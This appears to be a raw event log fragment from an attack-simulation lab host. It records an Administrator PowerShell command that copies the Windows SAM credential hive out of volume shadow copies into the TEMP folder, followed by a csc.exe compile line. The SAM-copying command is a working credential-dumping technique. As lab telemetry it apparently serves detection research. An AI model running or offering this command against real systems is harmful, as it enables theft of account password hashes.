ar-win-2.attackrange.local Administrator "powershell.exe" &amp; {1..10 | % { 
 try { [System.IO.File]::Copy(\""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\SAM\"" , \""$env:TEMP\SAMvss$_\"", \""true\"") } catch {}
 ls \""$env:TEMP\SAMvss$_\"" -ErrorAction Ignore
}} csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\pug2a4w5\pug2a4w5.cmdline"